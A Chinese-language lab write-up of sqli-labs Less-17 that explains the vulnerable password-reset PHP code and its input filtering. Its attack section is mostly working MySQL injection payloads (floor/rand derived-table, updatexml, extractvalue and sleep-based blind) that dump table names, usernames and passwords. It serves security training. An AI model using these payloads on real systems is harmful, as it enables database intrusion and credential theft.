Sqli-labs之Less-17

                                            Less-17

基于错误的更新查询POST注入

翻译:把你这个愚蠢的黑客赶走

由于这关模拟的场景是登录后在修改密码界面注入而并非登录时注入。

所以我们使用uname=1&passwd=1  uname=1&passwd=1'  uname=1&passwd=1"无法有效的测出字符注入的问题,既然是模拟的是登录后再修改密码界面的注入,那么用户名我们肯定是知道的且数据库中已存在,那么我们随便选择一个用户,这里以Dumb用户为例,这里我们先对比一下区别:

 

还有一点的就是修改密码,那么数据库是要对用户的密码进行更新,而数据库的更新,需要用到update函数。

那么接下来按照老方法进行字符注入判断:

uname=Dumb&passwd=1    uname=Dumb&passwd=1'     uname=Dumb&passwd=1"

发现第二条语句报错了,且给出了报错信息,从中我们得出两个结论:1.报错型注入。2.单引号闭合注入。

测试注入点:   uname=Dumb&passwd=1' -- #

正确回显。

我们知道基于错误的报错注入相对简单,而且注入的方法也很多,例如:联合注入,mysql函数报错注入,延时注入,布尔盲注。

但对于这一题,却不能进行布尔盲注,因为注入点在密码那一块,我们的注入语句只能写在密码里,而这里密码不是作为查询,是作为修改,所以这里只要用户名正确,它就只会返回flag1.jpg图片,也就是只有true,无false,无法形成对比,就不能进行布尔盲注。

这里我们看下源代码:

这里还要说一下就是,改过密码之后,我后台数据库现在是这个样子的:

这个样子说实话我后悔这样操作了,为什么会这样,下面来解释下,为什么成这样:

PHP的mysql_fetch_array() 函数

从结果集中取得一行作为关联数组,或数字数组,或二者兼有。返回根据结果集取得的行生成的数组,如果没有更多行则返回false。

提示:有很重要的一点必须指出,用 mysql_fetch_array() 并不明显比用 mysql_fetch_row() 慢,而且还明显提供了更多的值。

注释:本函数返回的字段名是区分大小写的。

例如:


 
 
  1. <?php
  2. $con = mysql_connect( "localhost", "hello", "321"); //连接服务器
  3. if (!$con)
  4. {
  5. die( 'Could not connect: ' . mysql_error()); //服务器连接失败
  6. }
  7. $db_selected = mysql_select_db( "test_db",$con); //连接数据库
  8. $sql = "SELECT username from users WHERE username='Dumb'"; //
  9. $result = mysql_query($sql,$con); //要执行的sql语句
  10. print_r(mysql_fetch_array($result)); //输出执行的结果
  11. mysql_close($con); //关于连接
  12. ?>
  13. 输出的结果为:
  14. Array
  15. (
  16. [0] => Dumb
  17. [1] => Angelina
  18. [2] => Dummy
  19. ...
  20. )

从中可以看出mysql_fetch_array 返回的是一个数组,所以如果我们不加上 LIMIT 0,1进行限制,将得到某个表中所有用户名,

所以原代码这样写:

这样就得到一个用户名,然后把用户名保存到变量$row1中  再进行更新用户名的密码

 

所以当我们执行语句时,修改了用户Dumb的账号密码。

而当我们执行语句是,-- #注释掉了LIMIT 0,1   没有了限制,mysql_fetch_array()将会返回users表里所有的username且被变量$row存储,变量$row里的值又赋值给了变量$row1,那么在执行 update语句时就会依次修改用户的密码,users表里有13个用户,那么update语句执行了13次。

(PS:学安全,趁早学PHP吧,不仔细看源码,瞎搞就成我这个样子了。

后记:(在后期才发现还有这功能,如果不小心删除数据表上面的,点击之后都会恢复)

接下来回到正题:

1.从源码中可以看到:接收到用户POST的unamepasswd后,首先根据uname查询数据库的usernamepassword,若uname存在则用passwd替换password,并显示 flag1.jpg若不存在则显示slap1.jpg。这就是为什么之前试的uname=1语句都不成功的原因。

在用户名正确后,页面便能够返回Mysql错误信息,这就可以利用子查询注入在错误信息中返回想要的数据。重点:报错的语句是update语句,查询用户名的语句已被执行并正确返回

2.解析源码中自定义的check_input函数所使用的的函数:

substr()函数    -----忘记了请回顾文章第二部分:2.盲注的讲解

get_magic_quotes_gpc()函数

get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。

当magin_quoter_gpc()=On的时候,函数get_magic_quotes_gpc()就会返回1

当magin_quoter_gpc()=Off的时候,函数get_magic_quotes_gpc()就会返回0

magin_quoter_gpc函数在php中的作用是判断解析用户提示数据,如包括有:post、get、cookie过来的数据增加转义字符"/",以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magin_quoter_gpc=On的情况下,如果输入的数据有:

 单引号(')、双引号(")、反斜杠(\)与NULL(NULL字符)等字符,都会加上反斜杠。

addslashes()与stripslashes()函数:

addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

  • 单引号 '
  • 双引号 "
  • 反斜杠 \
  • NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数删除由addslashes()函数添加的反斜杠。

ctype_digit()函数

ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE

mysql_real_escape_string()函数

mysql_real_escape_string(string,connection)

参数描述
string必需,规定要转义的字符串
connection可选,规定MySQL连接。如果未规定,则使用上一个连接

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE

本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。

intval()函数---整形转换

intval(var[,base])

参数描述
var要转换成integer的数量值
base转化所使用的进制

intval()函数获取变量的整数值。通过使用指定的进制base转换(默认是十进制),返回变量varinteger数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1

成功时返回varinteger值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。

如果base0,通过检测var的格式来决定使用的进制:

  • 如果字符串包括了0x0X的前缀,使用16进制hex
  • 如果字符串以0开始,使用8进制octal
  • 否则,使用10进制decimal

3.check_input函数参数的检查与过滤

在用uanme查询之前,源码使用check_input()函数做了检查。

1. 若uname非空,截取它的前15个字符。
2. 若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\
3. 若uname字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。

所以我们几乎不可能在uname处注入,唯一的注入点在passwd处。

4.开始注入:

4-1:子查询注入(实际上就是利用floor()函数进行报错)

当在一个聚合函数如count()函数后面,如果使用分组语句如group by就会把查询的一部分以错误的形式显示出来。

选择哪种方式

子查询注入在Less5中即双注入,对于updatedeleteinsert通常都用结合or的逻辑判断。

特别说明

(下面的子查询注入使用的都是or逻辑判断,且都成功了,当然使用and也能成功的,因为是改密码passwd=数据,数据必为true然后利用and就会执行后面的语句,用and的更符合我们常规的思考,至于使用or语句能够成功的原因在于update函数,如果是正常的查询的话,or前面的语句必须是false才能执行后面的语句。select查询中, 条件1 or 条件2,那么条件1成立,后面也不再执行(称为短路或),下面的子查询注入就使用or来进行)

(不过在子查询注入中,使用and且floor(rand()*2,那么结果有时是即子查询返回多行,如果使用floor(rand(0)*2,就不会出现这种错误,且一定会报我们想要的数据库错误信息,因为,loor(rand()*2具有随机性,如果一次不出结果多尝试几次即可,忘了这部分知识的请看Less-5)

在后台是select语句时我们能通过union联合查询CONCAT子查询(即Less5使用的双注入)获得错误信息中的数据。
而这里的后台是updatedelete/insert)语句,我们只能通过or逻辑判断派生表来获得错误信息中的数据。

注意:上面这段是根据实际情况推断出的,但没有触及原理,也不完全正确。经过对比Less5的两种子查询和查找资料,得到了正确的结论。

使用CONCAT子查询时,错误信息提示子查询中应该只包含一个字段。

uname=Dumb&passwd=1' or (select count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a) where username='Dumb' -- #

使用派生表时,错误信息能返回我们想要的数据。

uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='Dumb' -- #

不清楚子查询派生表,自行查看解惑。

子查询有两种:一是WHERE子句中的子查询;二是FROM子句中的子查询,这种子查询又被称为派生表

  • WHERE子句中:

  
  
  1. SELECT column_name
  2. FROM table_name
  3. WHERE column_name IN ( SELECT column_name
  4. FROM table_name
  5. WHERE condition)
  • FROM子句中:

 
 
  1. SELECT column_name
  2. FROM ( SELECT column_name
  3. FROM table_name
  4. WHERE condition) derived_table_name
  5. WHERE condition

我们来看Less5中提到的两种报错方式,第一种是CONCAT子查询,第二种是派生表

可以看出这两种实际上并无区别

只是在Less5select查询返回的字段数为3,足够在column_list中将count()concat()都包含进去,所以用CONCAT子查询更简单。

而在Less17update查询返回的字段数只有1!不足以使count()后接上concat()这样一个查询语句,这时候就只能通过派生表再将上一层子查询包裹起来,通过select 1 from (报错的CONCAT子查询) derived_table_name使注入查询的字段与update查询的字段数相等!

(严格来说,这里已经不能叫双注入而是三注入了,都称为子查询注入)(PS:小技巧:双注入有2个select,子查询有3个select)

所以,子查询注入重点在于控制子查询使涉及字段数相等。select使用unionupdate/delete/insert使用or。而CONCAT子查询或是派生表只是手段。

派生表注入过程:

爆数据库名security

uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b) where username='Dumb' -- #

爆表名:

uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='Dumb' -- #

涉及到了group_concat()函数(把所有的表以一行的形式返回),老毛病,我没有成功,附上别人成功的

既然group_concat()函数无效,那么换个语法:

参考Sqli-labs之Less-5的补充

uname=Dumb&passwd=1' or (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x)a) where username='Dumb' -- #

修改蓝色字体的数字就能依次得到其他3个表。

参考Less-5  (这里用了5个select,语句蛮多的,仔细一点)

uname=Dumb&passwd=1' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) where username='Dumb' -- #

从这三种语法中,我们发现很多东西都是相通的,都是“换汤不换药”。

爆字段名idusernamepassword

uname=admin&passwd=' or (select 1 from (select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))as a from information_schema.tables group by a) b) where username='admin'--+


参考Sqli-labs之Less-5的补充

uname=Dumb&passwd=1' or (select 1 from(select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x)a) where username='Dumb' -- #

参考Less-5

uname=Dumb&passwd=1' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=database() and table_name=0x7573657273 LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) where username='Dumb' -- #

0x7573657273 ---》表users的16进制

爆数据

uname=Dumb&passwd=1' or (select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a) b) where username='Dumb' -- #

     

参考Sqli-labs之Less-5的补充 

补:这条比上面一条和下面一条语句要麻烦点

uname=Dumb&passwd=1' or (select 1 from(select count(*),concat((select username from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x)a) where username='Dumb' -- #

把username换成字段password就能获取到用户的密码

参考Less-5

uname=Dumb&passwd=1' or (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) where username='Dumb' -- #

修改数字,0-12,共13条账号和密码

小知识:

delete与insert后台

DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e) FROM information_schema.tables),floor(rand()*2))x FROM information_schema.tables group by x)a)%23;

INSERT INTO users (username, password) VALUES ('admin',' or (SELECT 1 FROM(SELECT count(*),concat((SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e) FROM information_schema.tables),floor(rand()*2))x FROM information_schema.tables group by x)a)%23);

4-2 updatexml()注入

使用updatexml(),它和extractvaule()是亲兄弟:

updatexml(xml_target,xpath_expr,new_xml)

参数描述
xml_target目标xml,形式类似于节点目录
xpath_exprxml的表达式(xpath格式)
new_xml用来替换的xml

updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数。

简单来说就是,用new_xmlxml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。

如:updatexml(<a><b><c>asd</c></b><e></e></a>, '//b', <f>abc</f>)
运行结果:<a><f>abc</f><e></e></a>
其中'//b'的斜杠表示不管b节点在哪一层都替换掉,而'/b'则是指在根目录下替换,此处xml_target的根目录节点是a

0x06-02. 注入原理

updatexml()xml_targetnew_xml参数随便设定一个数,这里主要是利用报错返回信息。利用updatexml()获取数据的固定payload是:

... or updatexml(1,concat('#',(select * from (select ...) a)),0) ...

爆数据库:

uname=Dumb&passwd=1' or updatexml(1,concat('#',(database())),0) -- #

uname=Dumb&passwd=1' and updatexml(1,concat('#',(database())),0) -- #

(注:由于update函数的原因使用or是没有问题的,上面也解释了,但用and更符合我们常规的思考,所以接下来我们使用逻辑符and来进行)

注意:因为xpath_expr是xpath格式,所以不是所有字符都可以作为concat()的连接符,如-@便不可以,哪怕转换成16进制也是不可以的。

爆数据表--(16进制0x7e就是字符~)

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),0) -- #

注意:这里不要用concat_ws(),会有未知错误使错误回显显示不全。

爆列名:

uname=Dumb&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1) -- #

爆数据:

uname=Dumb&passwd=1' and updatexml(1,concat('#',(select concat(id,'#',username,'#',password) from users limit 0,1)),0) -- #

结果报错:

不能在FROM子句中为update指定目标表“users”

不能先select表中的某些值,再update这个表(在同一语句中)。

解决方法:select出的结果作为派生表select一遍,这样就规避了错误。

注意:此问题只出现于MySQL,msSQL和Oracle不会出现此问题。

uname=Dumb&passwd=1' and updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0) -- #

注意:这里的错误信息只显示了一部分,使用了limit偏移注入,所以没有一次性输出所有数据(但可以输出最大32个字符的数据,因updatexml最大爆32个字符),

uname=Dumb&passwd=1' and updatexml(1,concat('#',(select * from (select group_concat(concat_ws('#',id,username,password)) from users) a)),0) -- #

4-3 extractvalue()注入

extractvalue(xml,value)

extractvalue()函数也是MySQL 5.1以后推出的对xml文档数据进行查询和修改的xpath函数。

extractvalue()xml参数随便设定一个数。利用extractvalue()获取数据的固定payload是:

... or extractvalue(1,concat('#',(select * from (select ....) a)))--+

注入过程类同于updatexml()注入。(只需删除updatexml()的new_xml就可以了

演示一个:

爆数据表

uname=Dumb&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #

4-4 Time型盲注(参考Less-15)

这关不可以Bool盲注,因为只要用户名正确回显就是flag.jpg
而Time盲注不依赖回显,所以可以Time盲注。

这里演示一个例子:

猜数据库长度:

uname=Dumb&passwd=1' and if(length(database())=x,1,sleep(5))-- #

                  x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;

uname=Dumb&passwd=1' and if(length(database())=8,1,sleep(5))-- #

正确的时候直接返回,不正确的时候等待 5 秒钟 

完。

 

 

 

 

 

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值